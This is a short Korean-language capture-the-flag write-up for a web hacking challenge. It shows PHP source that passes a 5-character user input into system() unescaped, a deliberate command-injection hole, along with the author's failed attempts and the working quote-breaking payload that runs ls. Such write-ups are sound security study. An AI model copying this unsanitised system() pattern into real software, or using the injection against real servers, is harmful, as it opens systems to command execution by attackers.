목표 : ;ls
5글자까지 입력이 가능하고 admin을 입력하면 별다른 필터 없이 나온다.
주석은 #, -- 는 미작동하고 <!-- 주석 그냥 Html 주석만 작동한다.
일단 소스를 보여주지 소스코드를 보자
<?php
if($_GET['view_source']){ highlight_file(__FILE__); exit; }
?><html>
<head>
<title>Challenge 44</title>
</head>
<body>
<?php
if($_POST['id']){
$id = $_POST['id'];
$id = substr($id,0,5);
system("echo 'hello! {$id}'"); // You just need to execute ls
}
?>
<center>
<form method=post action=index.php name=htmlfrm>
name : <input name=id type=text maxlength=5><input type=submit value='submit'>
</form>
<a href=./?view_source=1>view-source</a>
</center>
</body>
</html>
SQL
복사
ls 를 실행시키라고 한다. 기본적인 것들은 실행되지 않는다.
•
%00ls
•
;ls
•
;ls
버프수트로 잡아서 수정해봤지만 별 변화는 없다.
코드를 자세히 보자
system("echo 'hello! {$id}'"); // You just need to execute ls
SQL
복사
시스템 명령어로 echo를 수행시키므로 이렇게 바꾸자
system("echo 'hello! ';ls''");
SQL
복사
무슨 플래그가 유튜브 링크인데 들어가보면 일본 가수(?) 페이지 동영상으로 연결된다 단순 출제자의 취향으로 보인다.